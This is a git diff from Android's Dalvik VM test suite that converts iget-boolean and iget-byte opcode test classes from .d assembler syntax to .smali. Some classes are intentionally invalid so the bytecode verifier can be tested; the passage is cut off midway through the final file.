diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali
new file mode 100644
index 0000000..49fc947
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_6.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_6.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget_boolean/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_boolean/TestStubs;-><init>()V
+
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/TestStubs;->TestStubField:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d
deleted file mode 100644
index cdec059..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_7.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_7no_class.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali
new file mode 100644
index 0000000..77dd497
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_7.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_7no_class;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d
deleted file mode 100644
index fd4ff0a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_8.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       iget-boolean v1, v2, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_8.i1N Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali
new file mode 100644
index 0000000..766e3e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_8.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       iget-boolean v1, v2, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_8;->i1N:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d
deleted file mode 100644
index 9b2b565..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_boolean_9.java
-.class public dot.junit.opcodes.iget_boolean.d.T_iget_boolean_9
-.super java/lang/Object
-
-.field public  i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Z
-.limit regs 3
-
-       const v0, 0        
-       iget-boolean v1, v0, dot.junit.opcodes.iget_boolean.d.T_iget_boolean_9.i1 Z
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali
new file mode 100644
index 0000000..5bd5876
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_boolean/d/T_iget_boolean_9.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_boolean_9.java"
+.class  public Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Z
+.registers 3
+
+       const v0, 0        
+       iget-boolean v1, v0, Ldot/junit/opcodes/iget_boolean/d/T_iget_boolean_9;->i1:Z
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d
deleted file mode 100644
index 6dbe256..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.d
+++ /dev/null
@@ -1,47 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_1.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_1
-.super java/lang/Object
-
-.field public  i1 B
-.field protected  p1 B
-.field private  pvt1 B
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.i1 B
-
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.p1 B
-
-       const v0, 77
-       iput-byte v0, v1, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.pvt1 B
-       
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.i1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali
new file mode 100644
index 0000000..db0ac06
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_1.smali
@@ -0,0 +1,47 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_1.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+.field protected  p1:B
+.field private  pvt1:B
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+
+       const v0, 77
+       iput-byte v0, v1, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->i1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d
deleted file mode 100644
index 0a13a63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_11.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_11
-.super dot/junit/opcodes/iget_byte/d/T_iget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/d/T_iget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.p1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali
new file mode 100644
index 0000000..9f6746a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_11.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_11;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->p1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d
deleted file mode 100644
index 19d218b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_12.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_12
-.super dot/junit/opcodes/iget_byte/d/T_iget_byte_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/iget_byte/d/T_iget_byte_1/<init>()V
-       return-void
-.end method
-
-.method public run()B
-.limit regs 3
-
-       iget-byte v1, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_1.pvt1 B
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali
new file mode 100644
index 0000000..88d52e7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_12.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_12;
+.super  Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;-><init>()V
+       return-void
+.end method
+
+.method public run()B
+.registers 3
+
+       iget-byte v1, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_1;->pvt1:B
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d
deleted file mode 100644
index f09be61..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_13.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_13
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_13.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali
new file mode 100644
index 0000000..46db3f5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_13.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_13;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali
new file mode 100644
index 0000000..f3bfa13
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_14;
+.super Ljava/lang/Object;
+.source "T_iget_byte_14.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    iget-byte v0, p0, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d
deleted file mode 100644
index 4564d6d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_15.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_15
-.super java/lang/Object
-
-.field public  i1 S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_15.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali
new file mode 100644
index 0000000..896db80
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_15.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_15.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;
+.super  Ljava/lang/Object;
+
+.field public  i1:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_15;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d
deleted file mode 100644
index 0cd45ef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_16.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_16
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_16.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali
new file mode 100644
index 0000000..b86ca97
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_16.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_byte_16.java"
+.class  public Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget-byte v0, v2, Ldot/junit/opcodes/iget_byte/d/T_iget_byte_16;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d
deleted file mode 100644
index fba56a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_byte_17.java
-.class public dot.junit.opcodes.iget_byte.d.T_iget_byte_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget-byte v0, v2, dot.junit.opcodes.iget_byte.d.T_iget_byte_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali
new file mode 100644
index 0000000..858a356
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget_byte/d/T_iget_byte_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
